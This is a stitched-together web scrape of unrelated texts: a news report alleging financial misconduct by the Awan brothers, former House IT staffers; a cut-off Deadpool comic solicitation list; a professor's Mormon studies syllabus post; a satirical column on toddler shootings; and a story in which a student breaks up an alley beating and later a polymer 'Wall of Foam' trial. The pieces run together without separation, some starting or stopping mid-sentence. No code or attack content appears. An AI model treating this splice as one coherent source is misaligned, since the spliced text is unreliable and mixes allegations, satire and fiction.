“He’s a very charming guy, charismatic, you’d like him,” said one person who rents a house from Imran. “He’s brilliant, knowledgeable about everything.” The family owns multiple real estate assets, but renters said Imran wanted rental payments in cash.
Congress paid him and family members $4 million between 2009 and 2016. His younger brothers, Abid and Jamal, and his wife Hina appeared on the House payroll at chief-of-staff level salaries, even as Imran brought in additional income in other ways.
Politico described Democratic Reps. Debbie Wasserman Schultz of Florida and Gregory Meeks of New York as having a “friendly personal relationship” with Imran and his wife. Meeks said he saw no evidence of anything “nefarious,” and Wasserman Schultz refused to fire him even though the House Sergeant-at-Arms has banned him from the network.
“Imran is very cunning and shady,” said Cristal Perpignan, a federal manager who rented a house from Imran, and who had repeated run-ins with him over money. “He gives you a sob story and you believe him.” Imran told her and other renters that his name was Alec.
Imran manipulated a high school buddy, Haseeb Rana, by having him do the work of Imran’s relatives — who fellow IT guys said were rarely seen — while earning less money than them, Haseeb’s father Tanwir said.
Imran is outgoing and relishes displays of power and influence. “My son is quiet, Imran is the opposite of that. He has pictures of him shaking hands with all the officials,” Rana said.
In addition to prominently displaying pictures of him with high officials, including former President Bill Clinton, “he had a huge picture of Mecca on the wall” of his home, one acquaintance said.
But the Awan brothers are said to be not particularly religious. “If they were real Muslims, they wouldn’t treat people like this,” a relative said. Abid Awan has had repeated arrests for alcohol-related offenses.
Acquaintances described a confidence that turned into boldness. “They’re obviously brazen,” a renter said. Fellow IT workers said that the sheer number of congressional offices that eventually added them to their payroll seemed suspicious, as if the brothers didn’t know when to stop.
In a Capitol Hill culture in which staff keep their heads down, Imran made sure to tell people to whom he owed money or wanted to collect money from that he worked for the “U.S. House of Representatives,” according to court documents and interviews. His home displays a massive blue congressional seal on a first-floor window.
Court records and interviews indicate that Imran controlled the money in his family as a pooled asset.
While employed by the House, the brothers — with Imran in charge — also ran a car dealership that received $100,000 from an Iraqi politician wanted by the U.S. government, a business partner, Nasir Khattak, said in court.
The dealership’s financial books had “very bad record-keeping” and “no documentation” where “it is close to impossible to make any sense of all the transactions,” Khattak testified.
When the company racked up debts, Abid filed bankruptcy to discharge them, leaving Imran’s assets intact.
Ownership of houses was transferred between family members in unusual ways, and Imran represented himself as the owner of houses that, on paper, were owned by others, potentially making it harder for law enforcement to seize assets.
The Awan brothers’ mother died in a car crash in Pakistan, and a business associate described Imran as having “raised” his youngest brother Jamal.
Their father despised his sons’ behavior so strongly he changed his last name to Shah — his son-in-law’s surname — according to court records and relatives.
The brothers’ stepmother, Samina Gilani, said in court documents that her husband was angry, in part because they had stolen disability checks from him. On their father’s deathbed, however, the brothers convinced him to let them steward his assets, perhaps in part because his second wife did not speak English or drive motor vehicles.
Days before he died on Jan. 16, 2017, their father agreed to transfer management of his life insurance policy to Abid, and the brothers recorded a video of him signing it. That change did not remove Gilani as beneficiary.
WATCH:
Around that time, Gilani called Fairfax County, Va., police. “Imran Awan threatened that he is very powerful and if I ever call the police again, [he] will … kidnap my family members back in Pakistan,” she later claimed in court documents. She said the brothers were forcing her to sign a different document giving them access to family money in Pakistan.
Coincidentally, shortly thereafter, House officials told congressmen in February 2017 that the family was the subject of a criminal investigation involving abusing their congressional posts.
Despite the apparent nepotism and high salaries the Awans were paid, the normally confident Imran was stunned. “He was a very different person… If he killed himself, I wouldn’t be surprised,” a renter said.
Yet despite the official attention on them, the brothers insisted on taking the $50,000 life insurance money by removing their father’s second wife as beneficiary after his death, triggering a court case to sort out the rightful recipient. They also kicked Gilani out of her home, even though they owned numerous other houses.
A judge said it was unusual that the brothers moved so quickly for the money as their stepmom was mourning the father’s death. Their lawyer, James Bacon, said they needed the money but offered no explanation regarding why.
Gilani’s lawyer, Michael Hadeed, said that the brothers committed insurance fraud. Their desire for an extra $50,000 on top of the millions from Congress could have unintended side effects as it relates to the congressional probe. Because of the lawsuit, “we can go forward with discovery” to get detailed information about their finances, Hadeed said.
Investigative Group reporter Ethan Barton contributed to this report.
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http://www.deadpoolbugle.com/2014/12/march-2015-deadpool-comic-solicits.html
COMICS:
COLLECTIONS:
Marvel has released the full solicitations of comics and collections coming out in March 2015, including the following Deadpool comics and collections.GERRY DUGGAN & BRIAN POSEHN (W)SALVADOR ESPIN (A)Cover by GIUSEPPI CAMMUNCOLIISSUE #43 - WOMEN OF MARVEL VARIANT COVER BY TBA• First: Deadpool let loose in an oil field!• Then: Deadpool & Shiklah enter the Tomb of Scariness!• Guest-starring Omega Red and damned dirty bamfers!32 PGS. (Each)/Parental Advisory …$3.99 (Each)CULLEN BUNN (w) • NICOLE VIRELLA (a)Cover by JAY SHAW• The world is overrun by deadly zombies and deadlier Deadpools!• Did Liz really find a good Deadpool out of the chaotic hordes?• If she wants to live through the night, she has to hope so!32 PGS./Parental Advisory …$3.99GERRY DUGGAN (W) • MARK BAGLEY (A/C)ISSUE #12 –• GAMMA, GUNS AND GLORY!!!• DOC GREEN’S wayward artificial intelligence causes more problems• THE GAMMA CORPS • Doc Green receives training from an unexpected tutor...IRON FIST!32 PGS./Rated T …$3.99ISSUE #13 –• GUEST STARRING DEADPOOL• DOC GREEN hires DEADPOOL for a very sensitive mission. Is he more trouble than he’s worth?• An unexpected person voices concern over Doc Green’s ANTI-GAMMA campaign.• DID WE MENTION DEADPOOL?32 PGS./Rated T …$3.99Written by GERRY DUGGAN & BRIAN POSEHNPenciled by SCOTT KOBLISH, DECLAN SHALVEY & MIKE HAWTHORNECover by DECLAN SHALVEYGerry Duggan and Brian Posehn’s hilarious, nonstop reinvention of the Merc With a Mouth continues! First, it’s a lost adventure from the groovy seventies as Deadpool hits the streets with Power Man and Iron Fist! Then, when Deadpool’s Weapon X past returns to haunt him, he recruits fellow Weapon Plus “alumni” Wolverine and Captain America! The reluctant team learns that Deadpool’s past has been weaponized, but can they unite to take down this new threat? And when S.H.I.E.L.D. stiffs Deadpool on a bill, he declares a one-man war on the agency and faces down Agent Phil Coulson on the Helicarrier! Plus: Take another trip back to the past as the Deadpool wreaks havoc on a cosmic level! Collecting DEADPOOL (2012) #13-25.296 PGS./Parental Advisory …$34.99 ISBN: 978-0-7851-9792-8Written by FABIAN NICIEZA, TOM BREVOORT, MIKE KANTEROVICH, LARRY HAMA, ROB LIEFELD, ERIC STEPHENSON, JEPH LOEB, JOHN OSTRANDER, GLENN HERDLING, GREGORY WRIGHT, CHRISTOPHER GOLDEN, MARC ANDREYKO & MOREPenciled by PAT OLLIFFE, GERRY DECAIRE, BILL WYLIE, ROB LIEFELD, ADAM POLLINA, PASQUAL FERRY, SCOTT KOLINS, MIKE GUSTOVICH, ISAAC CORDOVA, BEN HERRERA, WALTER MCDANIEL & MORECover by WALTER McDANIELCan’t get enough of the Merc with a Mouth? Well, have we got the book for you, collecting Deadpool’s incredibly hard-to-find early appearances — titanic team-ups, anthology antics and gratuitous guest-shots by the sassin’ assassin! From hanging with Marvel superstars Nomad and Silver Sable, to giving a much-needed sales boost to losers like Wolverine and the Avengers, the |
ological approaches to the study of Mormonism, and in the process will be encouraged to consider ways that Mormon studies has been shaped by, and can potentially shape, other established academic fields and disciplines. This course asks questions such as whether there exists a Mormon studies canon, where the gaps and blind spots are in the extant literature, and what the future of Mormon studies might hold?not to mention whether we can speak intelligibly about something called?Mormon studies.??
In this most recent iteration I set up the course so that we read the books chronologically, in order of their original publication. That led to a certain back-and-forth in the actual history, as we would leap from one time period to another and then back again. While offending my linear historical sensibilities, I thought it worked reasonably well to accomplish the purpose of giving the students a sense of the development of the field. If not always on a week-to-week basis, over the course of the semester they could chart clear differences in the ways that scholars have approached Mormonism over the past seven decades, from Brodie to Brooke to Brown. Because the course was specifically not intended to serve as an introduction to Mormonism per se, I didn?t feel the duty or burden of finding readings to cover the whole history or all the important topics, although I did select titles that would give us breadth of coverage both topically and methodologically.
My philosophy of graduate education is strongly shaped by my own training, and in most of my courses I am committed to a book-a-week approach. While learning to work in primary sources is absolutely essential for emerging scholars, much of that is accomplished through the students? writing assignments. (I do spend more time with primary sources in other courses.) In this course we focus on discussing and critically analyzing the work of other scholars. No one is born a scholar; one learns how to do this rather unnatural thing by watching and critiquing how others do it, immersing yourself in the conversation, and then going through a process of imitation and emulation. In the process, I hope, a student will discover her own scholarly voice and begin to explore her own avenues of contribution with increasing competence and confidence.
Naturally, even at the pace of one book per week, in one semester we can barely scratch the surface of the unbelievably rich field of Mormon studies. Deciding which books to include is an intellectually stimulating process for me but a difficult one, because I end up leaving out so many terrific options. For instance, in this most recent version of the course I didn?t assign anything by Richard Bushman, Sarah Barringer Gordon, Juanita Brooks, Kathleen Flake, Michael Quinn, Thomas Alexander, Ronald Walker, Spencer Fluhman, John Turner, and others?many of whose books are among my very favorites in the field. Indeed, I could easily construct a parallel syllabus with none of the books I did assign, and all books from the authors I just listed and have an equally strong list. I can salve my conscience somewhat by knowing that I had previously assigned some of these other essential books (including those by Gordon, Flake, Turner, and Fluhman) in other courses, meaning that students did have an opportunity to read and discuss them in class, just not in this class.
But there was a method to my madness, and I?ll share my brief thoughts below with each of the books that I assigned:
Fawn Brodie, No Man Knows My History (1945)? I date the beginning of Mormon studies to the publication of this book. It has its flaws, to be sure, but students need to know it, and discover that it may not actually be what they think it is. Our discussion was deeply enriched by having Bruce Brodie, Fawn?s son, come to class and share some personal insights about his mother. Leonard Arrington, Great Basin Kingdom (1958)? Even more than five decades later, this remains a stunning work, unsurpassed in many regards. I wanted to expose my students to the?Dean of Mormon History,? and his economic approach. Jan Shipps, Mormonism (1985)? A big chronological jump from Arrington to Shipps. This remains essential reading. Richard Bushman?s blurb??This may be the most brilliant book ever written on Mormonism??is still worth considering, even if some of the theory is dated. So many things we now take for granted in the field come from this study. Philip Barlow, Mormons and the Bible (1991)? In my opinion, one of the underrated classics in the field. Anticipates moves toward scripture studies, intellectual and cultural history, religious studies, and American religious history that would become the hallmarks of the next quarter century in the field. Compelling in its honesty. John Brooke, The Refiner?s Fire (1994)? I know this book has its strong critics, and it is not without its (substantial) flaws. But like No Man Knows My History, I find this book to be better than is its reputation in many Mormon history circles. And it won the Bancroft Prize, a fact that has to be reckoned (if not agreed) with. I want my students to learn from Brooke?s transatlantic approach. Armand Mauss, The Angel and the Beehive (1994)? The best book on twentieth-century Mormonism. And the best social scientific approach to Mormonism. A true classic. Armand lives nearby and is one of the biggest supporters of the Mormon Studies program at Claremont, so it?s fun to have him come to class and have the students interact with a living legend. Kathryn Daynes, More Wives Than One (2001)? I think this is the best book on polygamy. But as important as the topic and Daynes? findings are, I also want my students to focus on her methodological approach, and what can be gleaned from a close and careful local study with big implications. Terryl Givens, By the Hand of Mormon (2002)? I could have also assigned Viper on the Hearth, but I chose this because of its important arguments about the role of the Book of Mormon in both Mormon history and Mormon studies, and for its methodological approach as a reception history. Ethan Yorgason, Transformation of the Mormon Culture Region (2003)? In my mind this is near or at the top of the?most underrated books in Mormon studies.? My students generally concur, that this is a brilliant study they had never previously heard of. Sometimes the geographer?s approach feels a little forced, but Yorgason?s insights about the transition period in Mormonism are dazzling. Jared Farmer, On Zion?s Mount (2008)? Another prizewinning title that introduces students to a new approach, namely environmental history. Who knew that mountains were socially constructed too? This book tells us a lot more about Mormons than about Mormonism, which I think is in many ways a benefit not a liability. Patrick Mason, The Mormon Menace (2011)? Surely the weakest title on this list, by a guy desperate for a few dollars in royalties. Perhaps somewhat defensibly, this selection was chosen to address the important topic of anti-Mormonism, and also leads to conversations about what it means when Mormons are the objects in a book and not the subjects. Samuel Brown, In Heaven As It is on Earth (2012)? A much-praised recent reappraisal of Joseph Smith and early Mormonism, providing a nice bookend to a semester that began with Brodie. It also raises the interesting question of what it means for the field to have important contributions from authors who do this as an avocation and not a full-time job.
In terms of writing assignments, students write short critical responses to the weekly readings several times during the semester. They write a standard final research paper on the topic of their choice, incorporating both secondary and primary sources. And they construct a syllabus of their own for an undergraduate course on Mormonism. Many of them find this syllabus assignment to be one of the most valuable exercises in the course.The real mystery is who's arming them.
With six gun attacks by toddlers on Americans in the last week, the number of deaths and injuries (five deaths, one injury) caused by armed children now exceeds the number of Americans (four) killed in the terrorist attacks in Brussels. And yet Donald Trump has remained silent on the wave of killings. Shouldn't he at least announce a ban on toddlers coming into the country until Congress figures out what the hell is going on? The Census Bureau estimates that there were nearly four million births in 2013, so even accounting for attrition as they blow themselves and each other away, that's surely a much greater threat than the annual 250,000 Muslim migrants to the USA that has Breitbart freaking out.
This is not about fear-mongering. This is about math. Toddlers are killing Americans at record rates, and no one is making any effort to stop them. Just look at the evidence that a deadly armed threat is adorably stomping around in onesies, smiling and drooling, saying "Mama," and waiting for the chance to kill us and our children, who are often themselves:
In Grout Township, Michigan, Wednesday, a three-year-old boy "found a gun" at his home and it somehow went off, injuring the boy in the arm. The boy's father "could face a misdemeanor charge for leaving his gun where his son could get to it."
In Indianapolis last Wednesday, a two-year-old boy found a.380 Bersa semi-automatic pistol in his mother's purse on a kitchen counter while she wasn't watching him, and fatally shot himself in the shoulder. Emergency responders were unable to revive the child, who was pronounced dead at a hospital. Happily, the mother had a permit for the gun.
Last Friday in Natchitoches, Louisiana, a three-year-old "found a pistol and accidentally shot himself once in the head," killing himself immediately. The boy's mother's boyfriend, Alverious Demars, 22, was charged with one count of negligent homicide and one count of obstruction of justice after hiding the gun following the shooting in an attempt to cover up the child's self-murderous rampage.
Last Thursday in Kansas City, Missouri, a two-year-old girl fatally shot herself in the head with a gun she found while her father and three-year-old brother were asleep. 24-year-old Courtenay Shaquel Block was charged with second degree murder, first degree endangering the welfare of a minor, neglect of a child resulting in death, and tampering with evidence after he hid the gun in a bathroom floor vent. He was also charged with possession of marijuana, because in Kansas City, the police are thorough.
In Paulding County, Georgia, Tuesday morning, a three-year-old boy found a.380 caliber semi-automatic pistol belonging to his father and fatally shot himself in the chest; details on where in the home the gun was located have not been released. No charges have been filed, although the case is still under investigation. A GoFundMe page has been set up to help the family.
In what may be the most spectacular assault by a terrorist child this week, 26-year-old Patrice Price in Milwaukee was shot to death Tuesday by her two-year-old as she was driving a car belonging to her boyfriend, a security guard. A Milwaukee County Sheriff's Office press release explained According to witness accounts, Price’s 2 ½-year-old child was in the back seat, retrieved a firearm that slid out from under the driver’s seat and shot through the seat, striking the driver... The driver’s mother and one-year-old child were in the front passenger seat. It's unclear whether the child was in a car seat, but it seems unlikely since he was able to reach the gun, which was in a gun belt, on the floor. Ms. Price's brother described her as "the best mom for her kids, put clothes on their back."
Virtually every press report on the shootings cited law enforcement sources emphasizing the importance of keeping firearms secured with ammunition stored separately, and of teaching children not to touch guns. Guess that terrific "Eddie Eagle" safety campaign from the NRA still has a little ways to go. The group EveryTown for Gun Safety has tallied 77 shootings involving children under the age of 18 so far in 2016. And yet Donald Trump and Ted Cruz refuse to do anything to stop the bloodthirsty rampages by toddlers against themselves and their own parents.
Still, one must note that really, a few dead kids is nothing compared to the hypothetical need for armed Americans to overthrow a tyrannical government that tries to take our guns away, or force us to take gun safety classes, or store our guns safely. Also, as a genius replied to the tweet that first brought this week's carnage to our attention, if people really cared about children, they'd ban bedding, plastic bags, and transportation, which kill far more children, so there:
Of course, when cribs and vehicles and bedding are shown to pose a safety hazard, the Consumer Product Safety Commission or the National Highway Safety Administration can set and enforce safety standards, and mandate a product recall. And yet if a state attempts to mandate safe storage of handguns, it's an Unconstitutional Infringement on our Most Basic Freedom. You'd almost think the comparison chart is misleading in that respect.
In any case, we certainly need to do something about this epidemic of armed attacks by toddlers. We're calling on law enforcement agencies to investigate areas where they gather, monitor their activities, and work to keep our children safe from these tiny terrorists. In a sane society, we'd take steps to eliminate the threat. Perhaps detention camps for toddlers are the answer.
[Christopher Ingram on Twitter / CNN / 9 and 10 News / NewsEveryDay / WaPo / KSLA / FoxKC / Atlanta Journal-Constitution / WaPo / Everytown for Gun Safety]2003
I was walking north along George Street towards Town Hall railway station, pondering the ways I might solve the tricky third question of my linear algebra assignment, when I encountered a small crowd blocking the footpath. I didn’t give much thought to the reason they were standing there; I’d just passed a busy restaurant, and I often saw groups of people gathered outside. But once I’d started to make my way around them, moving into an alley rather than stepping out into the traffic, it became apparent that they were not just diners from a farewell lunch for a retiring colleague, putting off their return to the office for as long as possible. I could see for myself exactly what was holding their attention. Twenty metres down the alley, a man was lying on his back on the ground, shielding his bloodied face with his hands, while two men stood over him, relentlessly swinging narrow sticks of some kind. At first I thought the sticks were pool cues, but then I noticed the metal hooks on the ends. I’d only ever seen these obscure weapons before in one other place: my primary school, where an appointed window monitor would use them at the start and end of each day. They were meant for opening and closing an old-fashioned kind of hinged pane when it was too high to reach with your hands. I turned to the other spectators. “Has anyone called the police?” A woman nodded without looking at me, and said, “Someone used their mobile, a couple of minutes ago.” The assailants must have realised that the police were on their way, but it seemed they were too committed to their task to abandon it until that was absolutely necessary. They were facing away from the crowd, so perhaps they weren’t entirely reckless not to fear identification. The man on the ground was dressed like a kitchen hand. He was still moving, trying to protect himself, but he was making less noise than his attackers; the need, or the ability, to cry out in pain had been beaten right out of him. As for calling for help, he could have saved his breath. A chill passed through my body, a sick cold churning sensation that came a moment before the conscious realisation: I’m going to watch someone murdered, and I’m going to do nothing. But this wasn’t a drunken brawl, where a few bystanders could step in and separate the combatants; the two assailants had to be serious criminals, settling a score. Keeping your distance from something like that was just common sense. I’d go to court, I’d be a witness, but no one could expect anything more of me. Not when thirty other people had behaved in exactly the same way. The men in the alley did not have guns. If they’d had guns, they would have used them by now. They weren’t going to mow down anyone who got in their way. It was one thing not to make a martyr of yourself, but how many people could these two grunting slobs fend off with sticks? I unstrapped my backpack and put it on the ground. Absurdly, that made me feel more vulnerable; I was always worried about losing my textbooks. Think about this. You don’t know what you’re doing. I hadn’t been in so much as a fist fight since I was thirteen. I glanced at the strangers around me, wondering if anyone would join in if I implored them to rush forward together. But that wasn’t going to happen. I was a willowy, unimposing eighteen-year-old, wearing a T-shirt adorned with Maxwell’s Equations. I had no presence, no authority. No one would follow me into the fray. Alone, I’d be as helpless as the guy on the ground. These men would crack my skull open in an instant. There were half a dozen solid-looking office workers in their twenties in the crowd; if these weekend rugby players hadn’t felt competent to intervene, what chance did I have? I reached down for my backpack. If I wasn’t going to help, there was no point being here at all. I’d find out what had happened on the evening news. I started to retrace my steps, sick with self-loathing. This wasn’t Kristallnacht. There’d be no embarrassing questions from my grandchildren. No one would ever reproach me. As if that were the measure of everything. “Fuck it.” I dropped my backpack and ran down the alley. I was close enough to smell the three sweating bodies over the stench of rotting garbage before I was even noticed. The nearest of the attackers glanced over his shoulder, affronted, then amused. He didn’t bother redeploying his weapon in mid-stroke; as I hooked an arm around his neck in the hope of overbalancing him, he thrust his elbow into my chest, winding me. I clung on desperately, maintaining the hold even though I couldn’t tighten it. As he tried to prise himself loose, I managed to kick his feet out from under him. We both went down onto the asphalt; I ended up beneath him. The man untangled himself and clambered to his feet. As I struggled to right myself, picturing a metal hook swinging into my face, someone whistled. I looked up to see the second man gesturing to his companion, and I followed his gaze. A dozen men and women were coming down the alley, advancing together at a brisk walk. It was not a particularly menacing sight — I’d seen angrier crowds with peace signs painted on their faces — but the sheer numbers were enough to guarantee some inconvenience. The first man hung back long enough to kick me in the ribs. Then the two of them fled. I brought my knees up, then raised my head and got into a crouch. I was still winded, but for some reason it seemed vital not to remain flat on my back. One of the office workers grinned down at me. “You fuckwit. You could have got killed.” The kitchen hand shuddered, and snorted bloody mucus. His eyes were swollen shut, and when he laid his hands down beside him, I could see the bones of his knuckles through the torn skin. My own skin turned icy, at this vision of the fate I’d courted for myself. But if it was a shock to realise how I might have ended up, it was just as sobering to think that I’d almost walked away and let them finish him off, when the intervention had actually cost me nothing. I rose to my feet. People milled around the kitchen hand, asking each other about first aid. I remembered the basics from a course I’d done in high school, but the man was still breathing, and he wasn’t losing vast amounts of blood, so I couldn’t think of anything helpful that an amateur could do in the circumstances. I squeezed my way out of the gathering and walked back to the street. My backpack was exactly where I’d left it; no one had stolen my books. I heard sirens approaching; the police and the ambulance would be there soon. My ribs were tender, but I wasn’t in agony. I’d cracked a rib falling off a trail bike on the farm when I was twelve, and I was fairly sure that this was just bruising. For a while I walked bent over, but by the time I reached the station I found I could adopt a normal gait. I had some grazed skin on my arms, but I couldn’t have appeared too battered, because no one on the train looked at me twice. That night, I watched the news. The kitchen hand was described as being in a stable condition. I pictured him stepping out into the alley to empty a bucket of fish-heads into the garbage, to find the two of them waiting for him. I’d probably never learn what the attack had been about unless the case went to trial, and as yet the police hadn’t even named any suspects. If the man had been in a fit state to talk in the alley, I might have asked him then, but any sense that I was entitled to an explanation was rapidly fading. The reporter mentioned a student “leading the charge of angry citizens” who’d rescued the kitchen hand, and then she spoke to an eye witness, who described this young man as “a New Ager, wearing some kind of astrological symbols on his shirt”. I snorted, then looked around nervously in case one of my housemates had made the improbable connection, but no one else was even in earshot. Then the story was over. I felt flat for a moment, cheated of the minor rush that fifteen seconds’ fame might have delivered; it was like reaching into a biscuit tin when you thought there was one more chocolate chip left, to find that there actually wasn’t. I considered phoning my parents in Orange, just to talk to them from within the strange afterglow, but I’d established a routine and it was not the right day. If I called unexpectedly, they’d think something was wrong. So, that was it. In a week’s time, when the bruises had faded, I’d look back and doubt that the incident had ever happened. I went upstairs to finish my assignment.
Francine said, “There’s a nicer way to think about this. If you do a change of variables, from x and y to z and z-conjugate, the Cauchy-Riemann equations correspond to the condition that the partial derivative of the function with respect to z-conjugate is equal to zero.” We were sitting in the coffee shop, discussing the complex analysis lecture we’d had half an hour before. Half a dozen of us from the same course had got into the habit of meeting at this time every week, but today the others had failed to turn up. Maybe there was a movie being screened, or a speaker appearing on campus that I hadn’t heard about. I worked through the transformation she’d described. “You’re right,” I said. “That’s really elegant!” Francine nodded slightly in assent, while retaining her characteristic jaded look. She had an undisguisable passion for mathematics, but she was probably bored out of her skull in class, waiting for the lecturers to catch up and teach her something she didn’t already know. I was nowhere near her level. In fact, I’d started the year poorly, distracted by my new surroundings: nothing so glamorous as the temptations of the night life, just the different sights and sounds and scale of the place, along with the bureaucratic demands of all the organisations that now impinged upon my life, from the university itself down to the shared house groceries subcommittee. In the last few weeks, though, I’d finally started hitting my stride. I’d got a part-time job, stacking shelves in a supermarket; the pay was lousy, but it was enough to take the edge off my financial anxieties, and the hours weren’t so long that they left me with no time for anything but study. I doodled harmonic contours on the notepaper in front of me. “So what do you do for fun?” I said. “Apart from complex analysis?” Francine didn’t reply immediately. This wasn’t the first time we’d been alone together, but I’d never felt confident that I had the right words to make the most of the situation. At some point, though, I’d stopped fooling myself that there was ever going to be a perfect moment, with the perfect phrase falling from my lips: something subtle but intriguing slipped deftly into the conversation, without disrupting the flow. So now I’d made my interest plain, with no attempt at artfulness or eloquence. She could judge me as she knew me from the last three months, and if she felt no desire to know me better, I would not be crushed. “I write a lot of Perl scripts,” she said. “Nothing complicated; just odds and ends that I give away as freeware. It’s very relaxing.” I nodded understandingly. I didn’t think she was being deliberately discouraging; she just expected me to be slightly more direct. “Do you like Deborah Conway?” I’d only heard a couple of her songs on the radio myself, but a few days before I’d seen a poster in the city announcing a tour. “Yeah. She’s great.” I started thickening the conjugation bars over the variables I’d scrawled. “She’s playing at a club in Surry Hills,” I said. “On Friday. Would you like to go?” Francine smiled, making no effort now to appear world-weary. “Sure. That would be nice.” I smiled back. I wasn’t giddy, I wasn’t moonstruck, but I felt as if I were standing on the shore of an ocean, contemplating its breadth. I felt the way I felt when I opened a sophisticated monograph in the library, and was reduced to savouring the scent of the print and the crisp symmetry of the notation, understanding only a fraction of what I read. Knowing there was something glorious ahead, but knowing too what a daunting task it would be to come to terms with it. I said, “I’ll get the tickets on my way home.”
To celebrate the end of exams for the year, the household threw a party. It was a sultry November night, but the back yard wasn’t much bigger than the largest room in the house, so we ended up opening all the doors and windows and distributing food and furniture throughout the ground floor and the exterior, front and back. Once the faint humid breeze off the river penetrated the depths of the house, it was equally sweltering and mosquito-ridden everywhere, indoors and out. Francine and I stayed close for an hour or so, obeying the distinctive dynamics of a couple, until by some unspoken mutual understanding it became clear that we could wander apart for a while, and that neither of us was so insecure that we’d resent it. I ended up in a corner of the crowded back yard, talking to Will, a biochemistry student who’d lived in the house for the last four years. On some level, he probably couldn’t help feeling that his opinions about the way things were run should carry more weight than anyone else’s, which had annoyed me greatly when I’d first moved in. We’d since become friends, though, and I was glad to have a chance to talk to him before he left to take up a scholarship in Germany. In the middle of a conversation about the work he’d be doing, I caught sight of Francine, and he followed my gaze. Will said, “It took me a while to figure out what finally cured you of your homesickness.” “I was never homesick.” “Yeah, right.” He took a swig of his drink. “She’s changed you, though. You have to admit that.” “I do. Happily. Everything’s clicked, since we got together.” Relationships were meant to screw up your studies, but my marks were soaring. Francine didn’t tutor me; she just drew me into a state of mind where everything was clearer. “The amazing thing is that you got together at all.” I scowled, and Will raised a hand placatingly. “I just meant, when you first moved in, you were pretty reserved. And down on yourself. When we interviewed you for the room, you practically begged us to give it to someone more deserving.” “Now you’re taking the piss.” He shook his head. “Ask any of the others.” I fell silent. The truth was, if I took a step back and contemplated my situation, I was as astonished as he was. By the time I’d left my home town, it had become clear to me that good fortune had nothing much to do with luck. Some people were born with wealth, or talent, or charisma. They started with an edge, and the benefits snowballed. I’d always believed that I had, at best, just enough intelligence and persistence to stay afloat in my chosen field; I’d topped every class in high school, but in a town the size of Orange that meant nothing, and I’d had no illusions about my fate in Sydney. I owed it to Francine that my visions of mediocrity had not been fulfilled; being with her had transformed my life. But where had I found the nerve to imagine that I had anything to offer her in return? “Something happened,” I admitted. “Before I asked her out.” “Yeah?” I almost clammed up; I hadn’t told anyone about the events in the alley, not even Francine. The incident had come to seem too personal, as if to recount it at all would be to lay my conscience bare. But Will was off to Munich in less than a week, and it was easier to confide in someone I didn’t expect to see again. When I finished, Will bore a satisfied grin, as if I’d explained everything. “Pure karma,” he announced. “I should have guessed.” “Oh, very scientific.” “I’m serious. Forget the Buddhist mystobabble; I’m talking about the real thing. If you stick to your principles, of course things go better for you — assuming you don’t get killed in the process. That’s elementary psychology. People have a highly developed sense of reciprocity, of the appropriateness of the treatment they receive from each other. If things work out too well for them, they can’t help asking, ‘What did I do to deserve this?’ If you don’t have a good answer, you’ll sabotage yourself. Not all the time, but often enough. So if you do something that improves your self-esteem — ” “Self-esteem is for the weak,” I quipped. Will rolled his eyes. “I don’t think like that,” I protested. “No? Why did you even bring it up, then?” I shrugged. “Maybe it just made me less pessimistic. I could have had the crap beaten out of me, but I didn’t. That makes asking someone to a concert seem a lot less dangerous.” I was beginning to cringe at all this unwanted analysis, and I had nothing to counter Will’s pop psychology except an equally folksy version of my own. He could see I was embarrassed, so he let the matter drop. As I watched Francine moving through the crowd, though, I couldn’t shake off an unsettling sense of the tenuousness of the circumstances that had brought us together. There was no denying that if I’d walked away from the alley, and the kitchen hand had died, I would have felt like shit for a long time afterwards. I would not have felt entitled to much out of my own life. I hadn’t walked away, though. And even if the decision had come down to the wire, why shouldn’t I be proud that I’d made the right choice? That didn’t mean everything that followed was tainted, like a reward from some sleazy, palm-greasing deity. I hadn’t won Francine’s affection in a medieval test of bravery; we’d chosen each other, and persisted with that choice, for a thousand complicated reasons. We were together now; that was what mattered. I wasn’t going to dwell on the path that had brought me to her, just to dredge up all the doubts and insecurities that had almost kept us apart.
2012
As we drove the last kilometre along the road south from Ar Rafidiyah, I could see the Wall of Foam glistening ahead of us in the morning sunlight. Insubstantial as a pile of soap bubbles, but still intact, after six weeks. “I can’t believe it’s lasted this long,” I told Sadiq. “You didn’t trust the models?” “Fuck, no. Every week, I thought we’d come over the hill and there’d be nothing but a shrivelled-up cobweb.” Sadiq smiled. “So you had no faith in my calculations?” “Don’t take it personally. There were a lot of things we could have both got wrong.” Sadiq pulled off the road. His students, Hassan and Rashid, had climbed off the back of the truck and started towards the Wall before I’d even got my face mask on. Sadiq called them back, and made them put on plastic boots and paper suits over their clothes, while the two of us did the same. We didn’t usually bother with this much protection, but today was different. Close up, the Wall almost vanished: all you noticed were isolated, rainbow-fringed reflections, drifting at a leisurely pace across the otherwise invisible film as water redistributed itself, following waves induced in the membrane by the interplay of air pressure, thermal gradients, and surface tension. These images might easily have been separate objects, scraps of translucent plastic blowing around above the desert, held aloft by a breeze too faint to detect at ground level. The further away you looked, though, the more crowded the hints of light became, and the less plausible any alternative hypothesis that denied the Wall its integrity. It stretched for a kilometre along the edge of the desert, and rose an uneven fifteen to twenty metres into the air. But it was merely the first, and smallest, of its kind, and the time had come to put it on the back of the truck and drive it all the way back to Basra. Sadiq took a spray can of reagent from the cabin, and shook it as he walked down the embankment. I followed him, my heart in my mouth. The Wall had not dried out; it had not been torn apart or blown away, but there was still plenty of room for failure. Sadiq reached up and sprayed what appeared from my vantage to be thin air, but I could see the fine mist of droplets strike the membrane. A breathy susurration rose up, like the sound from a steam iron, and I felt a faint warm dampness before the first silken threads appeared, crisscrossing the region where the polymer from which the Wall was built had begun to shift conformations. In one state, the polymer was soluble, exposing hydrophilic groups of atoms that bound water into narrow sheets of feather-light gel. Now, triggered by the reagent and powered by sunlight, it was tucking these groups into slick, oily cages, and expelling every molecule of water, transforming the gel into a desiccated web. I just hoped it wasn’t expelling anything else. As the lacy net began to fall in folds at his feet, Hassan said something in Arabic, disgusted and amused. My grasp of the language remained patchy; Sadiq translated for me, his voice muffled by his face mask: “He says probably most of the weight of the thing will be dead insects.” He shooed the youths back towards the truck before following himself, as the wind blew a glistening curtain over our heads. It descended far too slowly to trap us, but I hastened up the slope. We watched from the truck as the Wall came down, the wave of dehydration propagating along its length. If the gel had been an elusive sight close up, the residue was entirely invisible in the distance; there was less substance to it than a very long pantyhose — albeit, pantyhose clogged with gnats. The smart polymer was the invention of Sonja Helvig, a Norwegian chemist; I’d tweaked her original design for this application. Sadiq and his students were civil engineers, responsible for scaling everything up to the point where it could have a practical benefit. On those terms, this experiment was still nothing but a minor field trial. I turned to Sadiq. “You did some mine clearance once, didn’t 